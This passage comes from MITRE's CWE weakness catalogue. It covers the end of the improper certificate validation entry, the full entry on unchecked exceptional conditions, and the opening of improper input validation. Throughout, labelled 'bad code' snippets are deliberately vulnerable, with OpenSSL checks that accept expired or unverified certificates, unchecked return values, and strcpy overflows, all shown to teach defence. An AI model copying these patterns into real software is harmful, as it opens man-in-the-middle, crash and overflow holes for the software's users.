Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Example 3

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

(bad code)

Example Language: C

if (cert = SSL_get_peer(certificate(ssl)) {

foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))

//do stuff

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Example 4

The following OpenSSL code ensures that there is a certificate before continuing execution.

(bad code)

Example Language: C

if (cert = SSL_get_peer_certificate(ssl)) {

// got a certificate, do secret things

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.

Example 5

The following OpenSSL code ensures that the host has a certificate.

(bad code)

Example Language: C

if (cert = SSL_get_peer_certificate(ssl)) {

// got certificate, host can be trusted

//foo=SSL_get_verify_result(ssl);

//if (X509_V_OK==foo) ...

}

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

Observed Examples

Reference	Description
CVE-2019-12496	A Go framework for robotics, drones, and IoT devices skips verification of root CA certificates by default.
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed.
CVE-2012-5821	Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss.
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname.
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services.
CVE-2012-5822	Application uses third-party library that does not validate hostname.
CVE-2012-5819	Cloud storage management application does not validate hostname.
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
CVE-2010-1378	chain: incorrect calculation allows attackers to bypass certificate checks.
CVE-2005-3170	LDAP client accepts certificates even if they are not from a trusted CA.
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2003-1229	chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
CVE-2009-1358	chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1382	ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-459	Creating a Rogue Certification Authority Certificate
CAPEC-475	Signature Spoofing by Improper Validation

References

[REF-243] Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16. <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf>.

[REF-244] M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CWE Community
2006-07-19 (CWE Draft 3, 2006-07-19)	Submitted by members of the CWE community to extend early CWE versions
Modifications
Modification Date	Modifier	Organization
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Background_Details, Description
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Related_Attack_Patterns
2012-12-28	CWE Content Team	MITRE
2012-12-28	Converted from category to weakness class.
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Observed_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Background_Details, Modes_of_Introduction, Potential_Mitigations, Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Demonstrative_Examples, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Related_Attack_Patterns
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples, Observed_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Observed_Examples, Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Modes_of_Introduction
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2013-02-21	Certificate Issues

Weakness ID: 754

View customized information:

Description

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Technical Impact: DoS: Crash, Exit, or Restart; Unexpected State The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness: High

Note: Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Note: Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

Phases: Architecture and Design; Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	252	Unchecked Return Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	253	Incorrect Check of Function Return Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	273	Improper Check for Dropped Privileges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	354	Improper Validation of Integrity Check Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	391	Unchecked Error Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	394	Unexpected Status Code or Return Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	476	NULL Pointer Dereference
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	252	Unchecked Return Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	273	Improper Check for Dropped Privileges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	476	NULL Pointer Dereference

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1012	Cross Cutting

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

Consider the following code segment:

(bad code)

Example Language: C

char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

(bad code)

Example Language: C

buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3

The following examples read a file into a byte array.

(bad code)

Example Language: C#

char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {

String userName = (String) i.Current();
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);

}

(bad code)

Example Language: Java

FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {

String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName;
FileInputStream fis = new FileInputStream(pFileName);
fis.read(byteArray); // the file is always 1k bytes
fis.close();
processPFile(userName, byteArray);

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

(bad code)

Example Language: Java

String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {

...

}
...

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

(bad code)

Example Language: Java

String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {

...

}
...

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

(bad code)

Example Language: Java

System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

Example 6

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

(bad code)

Example Language: C#

Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);

}

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 8

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

(bad code)

Example Language: C++

int outputStringToFile(char *output, char *filename) {

openFileToWrite(filename);
writeToFile(output);
closeFile(filename);

}

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

(good code)

Example Language: C++

int outputStringToFile(char *output, char *filename) {

int isOutput = SUCCESS;

int isOpen = openFileToWrite(filename);
if (isOpen == FAIL) {

printf("Unable to open file %s", filename);
isOutput = FAIL;

}
else {

int isWrite = writeToFile(output);
if (isWrite == FAIL) {

printf("Unable to write to file %s", filename);
isOutput = FAIL;

}

int isClose = closeFile(filename);
if (isClose == FAIL)

isOutput = FAIL;

}
return isOutput;

}

Example 9

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

(bad code)

Example Language: Java

private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file

}

public void readFromFile() {

try {

reader = new FileReader(readFile);

// read input file

} catch (FileNotFoundException ex) {...}

}

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

(good code)

Example Language: Java

private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file

}

public void readFromFile() {

try {

if (readFile == null) {

System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
throw NullPointerException;

}

reader = new FileReader(readFile);

// read input file

} catch (FileNotFoundException ex) {...}
catch (NullPointerException ex) {...}

}

Observed Examples

Reference	Description
CVE-2023-49286	Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.

Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	962	SFP Secondary Cluster: Unchecked Status Condition
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	EXP31-PL	CWE More Abstract	Do not suppress or ignore exceptions
ISA/IEC 62443	Part 4-2		Req CR 3.5
ISA/IEC 62443	Part 4-2		Req CR 3.7

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 1, "Exceptional Conditions," Page 22. 1st Edition. Addison Wesley. 2006.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.

[REF-622] Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". SANS Software Security Institute. 2010-03-15. <https://www.sans.org/blog/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2009-03-03 (CWE 1.3, 2009-03-10)	CWE Content Team	MITRE
2009-03-03 (CWE 1.3, 2009-03-10)	New entry for reorganization of CWE-703.
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Relationship_Notes
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Description, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences, Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Description, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	Improper Check for Exceptional Conditions

Weakness ID: 20

View customized information:

Description

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

